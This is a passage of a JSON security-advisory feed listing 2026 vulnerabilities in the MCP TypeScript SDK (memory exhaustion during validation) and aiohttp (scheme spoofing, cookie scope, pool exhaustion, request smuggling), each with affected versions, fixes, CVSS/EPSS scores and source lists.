GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111768","cveId":"CVE-2026-111768","aliases":["GHSA-46jr-4wx8-v453"],"kind":"vulnerability","title":"MCP TypeScript SDK: One HTTP request within the default size limit could exhaust server memory during validation","summary":"No credentials are needed, unless you authenticate requests before they reach the SDK.\n\nAffected versions:","detail":"### Summary\nIn affected versions, servers put no limit on how many array elements and object keys they validated in one request. One HTTP request within the default 4 MiB size limit could exhaust the server's memory, and the process aborted with `JavaScript heap out of memory`.\n\nNo credentials are needed, unless you authenticate requests before they reach the SDK.\n\n### Am I affected?\nYes, if clients you do not fully trust can reach your server over HTTP. The risk is highest for `McpServer` tools whose input contains an array or a record. stdio-only servers are not affected.\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` 1.3.0 through 1.31.0\n- `@modelcontextprotocol/server` 2.0.0 through 2.2.0\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.32.0 or later\n- 2.x: `@modelcontextprotocol/server` 2.3.0 or later\n\n**Upgrading alone changes nothing.** The patched versions add an `McpServer` option, `maxToolInputElements`, that is off by default. Make both of these changes:\n\n1. Set `maxToolInputElements` just above the largest input your tools need, for example `new McpServer(info, { maxToolInputElements: 10_000 })`. It counts array elements and object keys in a call's arguments. A call over the limit gets an `isError: true` result.\n2. Lower the request size limit to what your tools need. The option covers tool arguments only, and the size limit covers everything else. Set `maxRequestBodySize` on the transport or `createMcpHandler()`. If you parse the body yourself, for example with `express.json()` or Fastify, set that parser's limit.\n\nIf you cannot upgrade yet, make the second change. `maxRequestBodySize` needs `@modelcontextprotocol/sdk` 1.30.1 or `@modelcontextprotocol/server` 2.1.0. Below that, use a reverse proxy.\n\nAffected package ranges reported by GitHub:\n@modelcontextprotocol/sdk: >= 1.3.0, < 1.32.0\n@modelcontextprotocol/server: >= 2.0.0, < 2.3.0","action":"GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0; @modelcontextprotocol/server: 2.3.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:06:35.000Z","updatedAt":"2026-10-20T20:06:38.000Z","regions":["Global"],"vendor":null,"product":"@modelcontextprotocol/sdk, @modelcontextprotocol/server","stacks":["MCP servers and SDKs","JavaScript packages (npm)","@modelcontextprotocol/sdk","@modelcontextprotocol/server","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-46jr-4wx8-v453","asOf":"2026-10-20T20:06:38.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-46jr-4wx8-v453","url":"https://github.com/advisories/GHSA-46jr-4wx8-v453","type":"primary","publishedAt":"2026-10-20T20:06:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-46jr-4wx8-v453, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111748","cveId":"CVE-2026-111748","aliases":["GHSA-f9xw-jh8m-3mwq"],"kind":"vulnerability","title":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","summary":"An attacker sending an absolute-form request can spoof the scheme used.\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.","detail":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).\n\nAffected package ranges reported by GitHub:\naiohttp: <= 3.14.3","action":"GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:01:40.000Z","updatedAt":"2026-10-20T20:01:41.000Z","regions":["Global"],"vendor":null,"product":"aiohttp","stacks":["Python packages (PyPI)","aiohttp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-f9xw-jh8m-3mwq","asOf":"2026-10-20T20:01:41.000Z"},"epss":{"probability":0.00386,"percentile":0.32429,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f9xw-jh8m-3mwq","url":"https://github.com/advisories/GHSA-f9xw-jh8m-3mwq","type":"primary","publishedAt":"2026-10-20T20:01:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-f9xw-jh8m-3mwq, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111749","cveId":"CVE-2026-111749","aliases":["GHSA-gx76-c99x-2c96"],"kind":"vulnerability","title":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","summary":"A subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","detail":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.\n\nAffected package ranges reported by GitHub:\naiohttp: <= 3.14.3","action":"GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:58:14.000Z","updatedAt":"2026-10-20T19:58:15.000Z","regions":["Global"],"vendor":null,"product":"aiohttp","stacks":["Python packages (PyPI)","aiohttp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-gx76-c99x-2c96","asOf":"2026-10-20T19:58:15.000Z"},"epss":{"probability":0.00384,"percentile":0.32159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111749&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-gx76-c99x-2c96","url":"https://github.com/advisories/GHSA-gx76-c99x-2c96","type":"primary","publishedAt":"2026-10-20T19:58:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-gx76-c99x-2c96, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111749&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111749, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111065","cveId":"CVE-2026-111065","aliases":["GHSA-6cjc-53gc-5rqm"],"kind":"vulnerability","title":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","summary":"An overflow in Max-Age processing can skip closing a connection.\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","detail":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.\n\nAffected package ranges reported by GitHub:\naiohttp: <= 3.14.3","action":"GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:57:24.000Z","updatedAt":"2026-10-20T19:57:25.000Z","regions":["Global"],"vendor":null,"product":"aiohttp","stacks":["Python packages (PyPI)","aiohttp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-6cjc-53gc-5rqm","asOf":"2026-10-20T19:57:25.000Z"},"epss":{"probability":0.00395,"percentile":0.3348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6cjc-53gc-5rqm","url":"https://github.com/advisories/GHSA-6cjc-53gc-5rqm","type":"primary","publishedAt":"2026-10-20T19:57:24.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-6cjc-53gc-5rqm, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111750","cveId":"CVE-2026-111750","aliases":["GHSA-pqxq-w44r-73xw"],"kind":"vulnerability","title":"AIOHTTP: Pure-Python parser request smuggling","summary":"The pure Python parser is vulnerable to an HTTP request smuggling attack.\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.","detail":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.\n\nAffected package ranges reported by GitHub:\naiohttp: <= 3.14.3","action":"GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:52:21.000Z","updatedAt":"2026-10-20T19:52:22.000Z","regions":["Global"],"vendor":null,"product":"aiohttp","stacks":["Python","Python packages (PyPI)","aiohttp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L","sourceUrl":"https://github.com/advisories/GHSA-pqxq-w44r-73xw","asOf":"2026-10-20T19:52:22.000Z"},"epss":{"probability":0.00382,"percentile":0.31894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111750&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pqxq-w44r-73xw","url":"https://github.com/advisories/GHSA-pqxq-w44r-73xw","type":"primary","publishedAt":"2026-10-20T19:52:21.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured 